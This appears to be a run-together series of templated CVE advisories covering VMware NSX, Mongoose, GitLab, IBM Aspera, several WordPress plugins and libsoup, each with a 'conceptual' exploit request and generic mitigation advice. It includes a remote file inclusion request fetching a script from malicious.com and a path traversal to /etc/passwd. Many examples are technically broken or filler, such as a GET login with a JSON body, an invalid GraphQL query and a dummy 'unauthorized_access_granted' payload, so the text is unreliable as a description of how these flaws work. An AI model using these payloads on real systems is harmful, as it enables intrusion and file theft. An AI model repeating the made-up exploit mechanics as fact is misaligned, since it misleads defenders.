Author: Ameeba

Overview

The following report delves into a critical security vulnerability identified as CVE-2025-41252. This vulnerability resides in several versions of VMware NSX and VMware Cloud Foundation (with NSX), enabling unauthenticated malicious actors to enumerate valid usernames remotely, which can potentially lead to unauthorized access attempts. Given its severity and wide impact, understanding and addressing this vulnerability is crucial for organizations relying on affected VMware products.

Vulnerability Summary

CVE ID: CVE-2025-41252
Severity: Important, CVSSv3: 7.5 (High)
Attack Vector: Remote, Unauthenticated
Privileges Required: None
User Interaction: None
Impact: Username enumeration leading to potential system compromise or data leakage

Affected Products

Product | Affected Versions

VMware NSX | 9.x.x.x, 4.2.x, 4.1.x, 4.0.x
NSX-T | 3.x
VMware Cloud Foundation (with NSX) | 5.x, 4.5.x

How the Exploit Works

The vulnerability resides in the user authentication component of the VMware NSX. An unauthenticated malicious actor can send specially crafted requests to the login interface of the affected products. These requests can disclose whether a user exists, allowing the attacker to create a list of valid usernames. With this information, the attacker can potentially carry out further attacks, such as brute-force or password spraying attacks, to gain unauthorized access.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited using an HTTP request:

GET /login HTTP/1.1
Host: target.example.com
User-Agent: Mozilla/5.0
{ "username": "admin" }

In this case, the server’s response might differ depending on whether the “admin” username exists, allowing an attacker to enumerate valid usernames.

Workarounds and Mitigation

Unfortunately, no workarounds are currently available for CVE-2025-41252. The only way to effectively mitigate the vulnerability is by applying the patches provided by VMware for the affected products. Temporary measures can include the use of Web Application Firewalls (WAF) or Intrusion Detection Systems (IDS). However, these are not full-proof solutions and the recommended approach is to apply the patches as soon as possible.

Acknowledgments

This vulnerability was reported by the National Security Agency.

Overview

The vulnerability under discussion, identified as CVE-2025-51495, resides in the WebSocket component of Mongoose versions 7.5 to 7.17. This vulnerability, if exploited, could lead to a buffer overflow, potentially compromising systems and leaking sensitive data. Given the widespread use of Mongoose, this vulnerability exposes numerous systems to a considerable risk.

Vulnerability Summary

CVE ID: CVE-2025-51495
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

Mongoose | 7.5 to 7.17

How the Exploit Works

The exploit takes advantage of an integer overflow vulnerability in the WebSocket component of Mongoose. By sending a specially crafted WebSocket request, an attacker can cause the application to crash. If downstream vendors have integrated this component improperly, the issue could escalate into a buffer overflow, potentially leading to system compromise or data leakage.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited. In this case, the attacker is sending a specially crafted WebSocket request to the target server.

GET /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: x3JJHMbDL1EzLkh9GBhXDw==
Sec-WebSocket-Version: 13
Content-Length: 18446744073709551616

In this example, the `Content-Length` header is set to a value that triggers the integer overflow, leading to an application crash and potentially a buffer overflow if the WebSocket component has been improperly integrated.

Mitigation Guidance

To mitigate this vulnerability, vendors are advised to apply the latest patches provided by Mongoose. In the absence of a patch, using Web Application Firewalls (WAF) or Intrusion Detection Systems (IDS) could offer temporary mitigation. Ensure to keep your systems up to date and continuously monitor for any unusual network activities.

Overview

CVE-2025-8014 is a severe cybersecurity vulnerability affecting GraphQL endpoints in Gitlab EE/CE. It affects all versions from 11.10 prior to 18.2.7, 18.3 prior to 18.3.3, and 18.4 prior to 18.4.1. This vulnerability potentially allows unauthenticated users to bypass query complexity limits leading to resource exhaustion and service disruption, which increases the risk of system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-8014
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System Compromise or Data Leakage

Affected Products

Product | Affected Versions

Gitlab EE | 11.10 to 18.2.6, 18.3 to 18.3.2, 18.4 to 18.4.0
Gitlab CE | 11.10 to 18.2.6, 18.3 to 18.3.2, 18.4 to 18.4.0

How the Exploit Works

The exploit works by taking advantage of the GraphQL endpoints in Gitlab EE/CE. An unauthenticated user can send overly complex queries that bypass the system’s query complexity limits. This leads to resource exhaustion as the system attempts to process these queries, causing service disruption and potentially allowing for further attacks on the system.

Conceptual Example Code

Consider the following example of a malicious GraphQL query that could exploit this vulnerability:

POST /api/graphql HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"query": "{ user(id: '1') { posts { title, content, comments { text } } } }"
}

In this example, the query is requesting a large amount of data (all posts, their titles, contents, and all associated comments) for a single user. The sheer complexity and size of this query can overwhelm the system, leading to a denial of service.

Overview

The vulnerability, designated as CVE-2025-45994, poses a significant threat to the security of Aranda PassRecovery v1.0, a widely-used software solution. This flaw enables attackers to enumerate valid user accounts in Active Directory via a specially crafted POST request, potentially leading to system compromise or data leakage. Given the high severity score of 7.5, it is crucial for organizations using this software to implement mitigation measures promptly.

Vulnerability Summary

CVE ID: CVE-2025-45994
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise, data leakage

Affected Products

Product | Affected Versions

Aranda PassRecovery | v1.0

How the Exploit Works

This exploit works by sending a crafted POST request to the endpoint /user/existdirectory/1. The issue lies in the handling of these requests by the Aranda PassRecovery v1.0 software. An attacker can manipulate the request to enumerate valid user accounts in the Active Directory, thus gaining unauthorized access to sensitive information.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited in a HTTP request:

POST /user/existdirectory/1 HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "username": "admin" }

In this example, the attacker is attempting to enumerate whether the “admin” username exists in the system.

Mitigation Guidance

Immediate mitigation measures for this vulnerability include applying the vendor patch, if available. As a temporary mitigation, the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can help detect and prevent exploitation attempts. Long-term, it is recommended to always keep your software up to date with the latest patches and security updates.

Overview

The vulnerability, identified as CVE-2025-36274, is an alarming security flaw found in IBM Aspera HTTP Gateway versions 2.0.0 through 2.3.1. This issue stems from the application’s erroneous storage of sensitive data in clear text within easily accessible files. An unauthenticated user can exploit this vulnerability, potentially compromising the system or leaking data. It’s crucial to address this security flaw immediately due to its severe impact on data integrity and confidentiality.

Vulnerability Summary

CVE ID: CVE-2025-36274
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

IBM Aspera HTTP Gateway | 2.0.0 to 2.3.1

How the Exploit Works

The vulnerability arises from the application’s insecure storage of sensitive information in clear text within easily accessible files. An attacker can exploit this weakness by accessing these files, which do not require any authentication. The attacker can then read the information in these files, potentially granting them access to sensitive data or even compromising the system.

Conceptual Example Code

Although no specific exploit code is available, an attacker might use a simple command-line tool, such as ‘cat’ on Unix/Linux systems, to read the clear text files. An example might look like this:

cat /path/to/vulnerable/file.txt

This command would print the contents of the file, revealing any sensitive information stored within.

Overview

The vulnerability CVE-2025-60153 is a critical issue threatening the integrity and confidentiality of systems running wpshuffle Subscribe To Unlock. It’s an Improper Control of Filename for Include/Require Statement in PHP Program (‘PHP Remote File Inclusion’) vulnerability that allows PHP Local File Inclusion. This vulnerability matters greatly as it potentially enables system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-60153
Severity: High (CVSS 7.5)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

wpshuffle Subscribe To Unlock | n/a through 1.1.5

How the Exploit Works

The CVE-2025-60153 vulnerability exploits the PHP Remote File Inclusion feature by improperly controlling the filename for Include/Require Statement in PHP Program. An attacker can manipulate the filename to include arbitrary files from remote servers or even from the local file system. This susceptibility allows a malicious actor to inject and run code in the local context of the application, causing potential system compromise or data leakage.

Conceptual Example Code

Here is an example of how this vulnerability might be exploited:

GET /index.php?page=http://malicious.com/malicious_script.txt HTTP/1.1
Host: target.example.com

In this example, the malicious script at “http://malicious.com/malicious_script.txt” would be included and executed in the context of the target server.

Mitigation

To mitigate the CVE-2025-60153 vulnerability, affected users should apply the vendor patch as soon as it is available. In the interim, use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation.

Overview

This report highlights the critical security vulnerability, CVE-2025-60150, which impacts the Subscribe to Download plugin on the WordPress platform. This PHP Remote File Inclusion vulnerability can lead to significant breaches, potentially compromising entire systems and leading to severe data leakage. It is crucial to address this issue due to the high-risk score and broad user base of the affected plugin.

Vulnerability Summary

CVE ID: CVE-2025-60150
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

Subscribe to Download | n/a through 2.0.9

How the Exploit Works

The vulnerability stems from an improper control of the filename for include/require statements in the PHP program of wpshuffle’s Subscribe to Download plugin. This issue allows for PHP Local File Inclusion (LFI), meaning an attacker can trick the script into including files from remote servers, leading to code execution. This execution could potentially compromise the system or lead to data leakage.

Conceptual Example Code

Below is a conceptual example of how this vulnerability might be exploited. This might be a part of a malicious HTTP request:

GET /wp-content/plugins/subscribe-to-download/download.php?file=../../../../../../../etc/passwd HTTP/1.1
Host: vulnerablewebsite.com

In this example, the attacker is attempting to access the ‘passwd’ file, a common target due to its sensitive data. By manipulating the ‘file’ parameter in the GET request, the attacker can traverse the directory tree to access files outside of the intended directory.

Countermeasures

The best mitigation strategy is to apply the vendor patch as soon as it becomes available. If the patch is not yet available, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. Additionally, disable the plugin if it’s not immediately necessary, until the patch is issued. Regularly monitoring system logs for any unusual activity is also recommended.

Overview

CVE-2025-59011 is a critical vulnerability found in the Traveler software developed by Shinetheme. This issue is due to improperly configured access control security levels, leading to a missing authorization vulnerability. It has the potential to compromise systems or lead to data leakage, thus posing a significant threat to any organization using the affected software.

Vulnerability Summary

CVE ID: CVE-2025-59011
Severity: Critical, 7.5 CVSS Score
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Shinetheme Traveler | n/a

How the Exploit Works

The exploit works by taking advantage of the improperly configured access control security levels in the Traveler software. An attacker can bypass the authorization process, gaining unauthorized access to restricted areas of the system, potentially compromising the system or leaking sensitive data.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited using a malicious HTTP request:

POST /traveler/accesspoint HTTP/1.1
Host: target.example.com
Authorization: Bearer
{ "malicious_payload": "unauthorized_access_granted" }

In this example, the attacker sends a POST request to the /traveler/accesspoint endpoint without an authorization bearer token. Due to the missing authorization vulnerability, this request would theoretically be processed, granting the attacker unauthorized access.

Mitigation Guidance

It’s recommended to apply the vendor’s patch as soon as it’s available. In the meantime, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can provide a temporary mitigation. It’s crucial to properly configure the access control security levels to prevent unauthorized access.

Overview

CVE-2025-59010 is a high-severity vulnerability found in Permalink Manager Lite, a plugin developed by Maciej Bis. This vulnerability allows attackers to retrieve sensitive data due to the insertion of such information into sent data. It impacts all versions up to 2.5.1.3. This vulnerability is critical as it could potentially lead to system compromise or significant data leakage, affecting the confidentiality and integrity of user information.

Vulnerability Summary

CVE ID: CVE-2025-59010
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Permalink Manager Lite by Maciej Bis | Up to 2.5.1.3

How the Exploit Works

The exploit works by taking advantage of the Permalink Manager Lite’s process of handling sent data. Instead of properly sanitizing or encrypting sensitive data, the plugin is inserting it into the sent data, making it possible for an attacker to retrieve this information. This can be done remotely and does not require privileged access or user interaction, making the vulnerability extremely dangerous.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited. This is a sample HTTP GET request that could potentially retrieve sensitive data:

GET /permalink_manager?data=retrieve HTTP/1.1
Host: target.example.com

In this example, an attacker sends a GET request to the ‘permalink_manager’ endpoint with a parameter designed to retrieve data. The server responds with data containing sensitive information that is not properly sanitized or encrypted.

Mitigation Guidance

The recommended mitigation strategy is to apply the patch provided by the vendor. If the patch cannot be applied immediately, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation strategy, by identifying and blocking attempted exploits of this vulnerability.

Overview

A critical vulnerability, known as CVE-2025-11021, has been identified in the widely used libsoup HTTP library. This flaw pertains to the library’s cookie date handling logic, with potential consequences including system compromise and data leakage. This vulnerability is particularly significant due to the widespread usage of the libsoup library in GNOME and other web communication applications.

Vulnerability Summary

CVE ID: CVE-2025-11021
Severity: High (7.5 CVSS)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and unintended disclosure of memory contents

Affected Products

Product | Affected Versions

libsoup | All versions prior to patch

How the Exploit Works

The vulnerability lies in the cookie date handling logic of the libsoup HTTP library. It is triggered when processing cookies with specially crafted expiration dates, leading to an out-of-bounds memory read. This can result in the unintended disclosure of memory contents, potentially exposing sensitive information from the process using libsoup.

Conceptual Example Code

Here is a conceptual example of how a specially crafted cookie might trigger the vulnerability:

GET / HTTP/1.1
Host: vulnerable.example.com
Cookie: session=12345; expires=Thu, 01-Jan-1970 00:00:00 GMT; path=/;

In this example, the `expires` attribute of the cookie has been crafted in such a way to trigger the out-of-bounds memory read in the libsoup HTTP library.

Implications and Mitigations

Successful exploitation of this vulnerability could lead to a potential system compromise or data leakage. This could have severe impacts on the confidentiality, integrity, and availability of the affected system.
Organizations are advised to apply the vendor-released patch as soon as possible. As a temporary mitigation, a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) could be used to detect and block attempts to exploit this vulnerability.